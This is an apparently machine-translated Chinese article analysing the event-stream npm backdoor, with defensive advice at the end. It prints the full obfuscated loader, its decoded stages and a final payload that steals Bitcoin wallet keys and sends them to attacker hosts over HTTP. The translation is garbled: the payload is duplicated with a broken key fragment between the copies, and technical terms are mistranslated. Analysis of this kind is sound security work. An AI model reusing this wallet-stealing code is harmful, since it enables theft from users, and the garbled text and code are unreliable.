在事件流中解释后门

如果您使用Javascript,那么很可能会注意到事件流 npm软件包中有关该漏洞的大量噪音。 ( 有关此问题文章也发表在Habré上。 )不幸的是,有关此情况的详细分析隐藏在Github上的 600多条评论中,其中大部分是关于npm状况的火焰,一般来说都是开源的。 我认为这很糟糕,因为从技术角度来看后门确实非常聪明且有趣,并且它还向我们教会了有关如何维护Javascript应用程序安全性的重要课程。 因此,我决定写一篇帖子,详细说明这种攻击的工作方式以及Javascript社区可以做些什么来更好地抵御将来的此类攻击。


在开始之前,我要感谢FallingSnowmaths22joepie91的出色调查。 他们做了所有艰苦的工作来分析漏洞并弄清楚它的作用。 在本文的后面,我将引用其结果表明作者身份,但是我认为值得明确指出我自己并未完成所有这些工作。 我只是总结别人发现的东西。


背景知识


event-stream是流行的npm模块,其中包含用于在node.js应用程序中处理数据流的实用程序。 现在,它每天被下载超过190万次。 但是,他已经几年没有积极发展了。 它的作者Dominic Tarr支持大量其他项目,并且不再在个人项目中使用此模块,因此他被忽略了。


在9月中旬左右,昵称为right9ctrl(GitHub帐户现已被删除)的用户建议接管模块支持。 Dominic同意并授予right9ctrl对Github和npm的访问权。 乍一看,提交的历史看起来是无害的:



Github上事件流中提交历史的屏幕截图


9月9日,right9ctrl依赖于它添加了一个新的 flatmap-stream 模块 ,以实现event-streamflatmap功能(这是一个非常合适的解决方案,因为event-stream已经具有类似的实用程序,例如常规map )。 然后,在9月16日,right9ctrl 删除了 flatmap-stream 依赖关系并直接实现了flatmap方法。 再说一次,没有什么会打扰到的,添加一个新的依赖项,然后几天后决定自己实现同一件事会更好。


攻击力


flatmap-stream库看起来也没有害处-实际上,它包含一个用于数据流的平面图的实现(尽管应该注意-该库到目前为止只有一个贡献者,并且从npm没有下载)。



GitHub上的flatmap-stream页面的屏幕截图


但是,此模块在npm中发布的版本在一个缩小的文件中包含其他代码,即使知道它存在,您甚至可能不会注意到它:


 var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

这里的有害部分在最后,为了避免被发现特别进行了模糊处理:


 !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

Github上的一个问题中, FallingSnow恢复了书签源代码并显示了正在发生的事情:


 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; npm_package_description = process['env']['npm_package_description']; // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

因此,该代码下载了./test/data.js文件,尽管GitHub上缺少源代码,该文件也嵌入在npm的发布版本中 。 该文件包含通过AES256加密的字符串数组。 当代码在某些包的上下文中执行时, npm_package_description环境npm_package_description由npm命令设置,即包括事件流-> flatmap-stream依赖链在内的根包将用于设置npm_package_description (以及其他类似变量)。 ( 注:换句话说,将使用您在其中执行此命令的项目的package.json文件中的描述 )。 因此,代码使用npm_package_description作为密钥解密test/data.js的内容,然后尝试执行结果。


对于绝大多数数据包,这将导致错误(恶意代码将悄悄捕获并忽略),因为它们的描述不是AES256密码的正确密钥,并且解密的结果是胡说八道。 这是针对一个特定软件包的非常有针对性的攻击。 maths22和其他一些用户下载了依赖于事件流的npm模块列表,并通过对这些模块的描述进行排序,我们选择了正确的密钥并找到了目标软件包: copay-dash ,这是一个用于比特币钱包的平台。 其描述“安全的比特币钱包”成功解密了test/data.js的内容,并显示了以下代码(由joepie91提供):


 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

此代码将启动另一个解密级别,最终的恶意脚本将在该级别打开:


 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

您可能已经猜到了,该脚本试图窃取您的比特币钱包并将其数据上传到攻击者的服务器。


更新: npm团队发布了其官方事件报告 ,该报告解释说,该恶意代码旨在在Copay发布过程中启动,以便将盗窃比特币的脚本注入Copay钱包应用程序代码中。


所以总结一下


  • 流行的比特币平台copay-dash使用事件流依赖性。
  • 在9月份(大约一周)中,事件流包含flatmap-stream依赖关系,因为该项目已转移到新开发人员,后者添加了依赖关系并在一周后将其删除。
  • flatmap-stream在缩小代码的末尾包含一个隐藏的片段,该片段尝试使用根包的描述作为AES256密钥来解码来自test/data.js的行。
  • 对于任何常规软件包,这都会导致错误(因为软件包描述是错误的密钥),该错误已被悄悄处理。 但是对于共付额破折号,解密给出了有效的JavaScript,JavaScript开启了解密的另一个阶段,并执行了一个恶意脚本,该脚本窃取了您的比特币钱包。

现在该怎么办?


这是一次令人惊讶的狡猾攻击,非常让人联想到一月份的帖子 ,并描述了类似的假设攻击。 攻击者巧妙地扫清了自己的足迹-Github上的代码和提交历史显示出无害和可疑的情况(新开发人员加入了该项目,添加了功能,然后对其实现进行了少许更改)。 除了flatmap-stream中的可疑信号(新软件包,没有贡献者和下载统计信息)之外,攻击实际上几乎是看不见的。 实际上,它已经两个月没有被检测到,直到现在才被发现,因为攻击者使用了不赞成使用的crypto.createDecipher方法而不是crypto.createDecipheriv 犯了一个小错误 ,这引起了关于在另一个库中使用不赞成使用的方法的可疑消息,使用事件流。


不幸的是,这种攻击不会在不久的将来离开我们。 JavaScript是目前最流行的语言 ,这意味着它仍将是吸引黑客的目标。 与其他语言相比,JavaScript在标准库中的功能也相对较少,这迫使开发人员必须使用npm中的软件包以及其他文化因素,这导致JavaScript项目通常具有庞大的依赖树。


值得注意的是,尽管JavaScript应用程序更容易出现此类漏洞,但这不一定是JavaScript一般安全性较低的原因。 活跃的开发人员通常会使用JavaScript,这些开发人员会努力与时俱进,也就是说,他们的用户安装了更多软件包和更新,包括安全修补程序。 同时,Equifax的Java应用程序由于完全相反的原因被黑-他们几个月没有为Apache Struts安装安全更新 。 这种漏洞在JavaScript应用程序中不太可能出现。 最后,在为公司选择技术堆栈时,总是会出现安全问题。 重要的一课将是了解您的特定决策可能发生的攻击情况以及预测它们的能力。


这对javascript堆栈意味着什么? 不乏想法和建议,npm或其他社区如何防止此类攻击。 但是对于最终用户而言,至少有两个基本步骤可以降低您的风险:


  • 使用锁定文件 。 不管是yarn.lock还是package-lock.json,任何锁定文件都可以保证您在每次安装时都收到相同版本的软件包,也就是说,如果您今天安全,明天将保持不变。 在不使用锁定文件的情况下实践浮动依赖关系的应用程序特别容易受到恶意更新的攻击,因为它们会自动安装依赖关系的最新可用版本,也就是说,在某个依赖关系被破坏并发布后,每次部署都会使您受到损害。带有漏洞的版本。 使用锁定文件,您将至少将风险限制在添加和更新程序包的开发人员的手动操作中,可以通过代码检查或其他公司政策进行仔细检查。


  • 放点东西之前要三思 。 如上所示,这不是万能药,即使您知道它们存在,黑客仍然可以通过难以找到的缩小代码来浏览书签。 但同样,如果您坚持使用受欢迎且受积极支持的软件包,则可以降低风险。 在安装新的瘾君子之前,首先要问自己是否真的需要它。 如果您已经知道如何编写代码,并且只需要花十几行,就可以自己编写。 如果仍然需要依赖项,请在安装前对其进行评估。 她在npm上有多少次下载? Github上的存储库看起来是否正在积极更新? 软件包最近更新了吗? 如果没有,请考虑分叉并使用它。 这将减少风险,因为您将不会暴露于未来的危险更新中,您将能够自己阅读和缩小源代码,并确保它实际上包含并确实包含了源代码。


Source: https://habr.com/ru/post/zh-CN431360/


All Articles